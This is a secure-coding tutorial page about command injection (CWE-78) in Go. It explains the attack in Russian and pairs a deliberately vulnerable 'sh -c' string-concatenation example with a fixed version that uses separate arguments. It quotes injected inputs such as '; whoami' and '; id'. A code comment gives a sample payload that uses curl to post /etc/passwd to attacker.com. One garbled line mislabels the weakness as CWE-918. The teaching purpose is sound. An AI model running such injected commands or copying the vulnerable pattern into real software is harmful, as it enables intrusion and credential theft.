flawopen.com/command-injection/Go
Learn how to fix Command Injection (CWE-78) in Go. Side-by-side vulnerable vs secure code examples for os/exec.Command() with argument lists.
Представьте, что вы просите офисного ассистента распечатать документ 'отчет.pdf'. Инъекция команд происходит, когда кто-то указывает имя 'отчет.pdf; whoami', и ассистент слепо передает всю записку терминалу, заставляя его напечатать отчет и прочесть бейдж администратора.
Web Application SecurityCWE-918.CWE-918CWE-918): Standard Common Weakness Enumeration classification for command-injection-go.Defense-in-DepthПриложение принимает диагностические имена хостов, имена файлов или флаги напрямую из HTTP-запроса пользователя.
Бэкенд формирует строку команды оболочки с помощью склеивания строк вместо использования вектора разделенных аргументов.
Злоумышленник внедряет метасимволы оболочки, такие как ';', '&&', '|' или обратные кавычки (например, '127.0.0.1; id').
Командная оболочка ОС выполняет внедренную команду с привилегиями рабочего процесса веб-сервера.
// Spawning bash explicitly to execute concatenated string
package main
import (
"os/exec"
)
func runBackup(target string) ([]byte, error) {
// Attacker input: "db; curl http://attacker.com/leak --data @/etc/passwd"
cmdStr := "tar -czf backup.tar.gz " + target
cmd := exec.Command("sh", "-c", cmdStr)
return cmd.Output()
}
// Calling tar directly without an intermediate shell
package main
import (
"os/exec"
)
func runBackup(target string) ([]byte, error) {
// target is passed strictly as a single filename argument
cmd := exec.Command("tar", "-czf", "backup.tar.gz", target)
return cmd.Output()
}